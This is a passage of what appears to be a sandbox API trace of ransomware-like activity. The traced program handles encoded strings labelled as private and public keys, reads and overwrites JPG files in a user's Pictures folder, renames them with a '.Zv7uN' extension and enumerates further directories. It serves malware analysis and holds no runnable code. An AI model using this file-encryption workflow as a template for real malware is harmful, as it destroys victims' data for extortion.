LMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f4e80c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.274] GetCurrentThreadId () returned 0xa30 [0085.274] GetCurrentThreadId () returned 0xa30 [0085.274] GetCurrentThreadId () returned 0xa30 [0085.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f5f86c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.276] GetCurrentThreadId () returned 0xa30 [0085.276] GetCurrentThreadId () returned 0xa30 [0085.276] GetCurrentThreadId () returned 0xa30 [0085.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.276] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.276] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.276] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xc584 [0085.276] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.276] ReadFile (in: hFile=0x11c, lpBuffer=0x1f67670, nNumberOfBytesToRead=0xc584, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f67670*, lpNumberOfBytesRead=0x18f108*=0xc584, lpOverlapped=0x0) returned 1 [0085.279] CloseHandle (hObject=0x11c) returned 1 [0085.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.282] WriteFile (in: hFile=0x11c, lpBuffer=0x1f756a0*, nNumberOfBytesToWrite=0xc584, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f756a0*, lpNumberOfBytesWritten=0x18f114*=0xc584, lpOverlapped=0x0) returned 1 [0085.289] CloseHandle (hObject=0x11c) returned 1 [0085.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg.zv7un")) returned 1 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] GetCurrentThreadId () returned 0xa30 [0085.294] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SKcUK", cAlternateFileName="")) returned 1 [0085.294] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SKcUK", cAlternateFileName="")) returned 0 [0085.294] GetLastError () returned 0x12 [0085.294] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0085.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x50c1e2c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50c1e2c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0085.294] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0085.295] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x50c1e2c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50c1e2c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.295] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b78cc80, ftCreationTime.dwHighDateTime=0x1d5e6da, ftLastAccessTime.dwLowDateTime=0x28ef3820, ftLastAccessTime.dwHighDateTime=0x1d5e096, ftLastWriteTime.dwLowDateTime=0x50b85d40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x79ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7iA8732Kdu78.bmp.Zv7uN", cAlternateFileName="7IA873~1.ZV7")) returned 1 [0085.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.295] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6d94a0, ftCreationTime.dwHighDateTime=0x1d5e306, ftLastAccessTime.dwLowDateTime=0x2a7bb150, ftLastAccessTime.dwHighDateTime=0x1d5dfe2, ftLastWriteTime.dwLowDateTime=0x50bd2000, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="EMtuZH-5jQdTrJmsCm.jpg.Zv7uN", cAlternateFileName="EMTUZH~1.ZV7")) returned 1 [0085.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.295] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ab39890, ftCreationTime.dwHighDateTime=0x1d5e4e9, ftLastAccessTime.dwLowDateTime=0x6d7cbd10, ftLastAccessTime.dwHighDateTime=0x1d5dc30, ftLastWriteTime.dwLowDateTime=0x50c1e2c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xc584, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OIh9luhcg82TbIwB.jpg.Zv7uN", cAlternateFileName="OIH9LU~1.ZV7")) returned 1 [0085.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.295] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SKcUK", cAlternateFileName="")) returned 1 [0085.295] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.296] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0085.296] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.296] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fe9e60, ftCreationTime.dwHighDateTime=0x1d5e05b, ftLastAccessTime.dwLowDateTime=0x816d96d0, ftLastAccessTime.dwHighDateTime=0x1d5dbc9, ftLastWriteTime.dwLowDateTime=0x816d96d0, ftLastWriteTime.dwHighDateTime=0x1d5dbc9, nFileSizeHigh=0x0, nFileSizeLow=0x1670d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6lsyG9.jpg", cAlternateFileName="")) returned 1 [0085.296] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0085.296] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fe9e60, ftCreationTime.dwHighDateTime=0x1d5e05b, 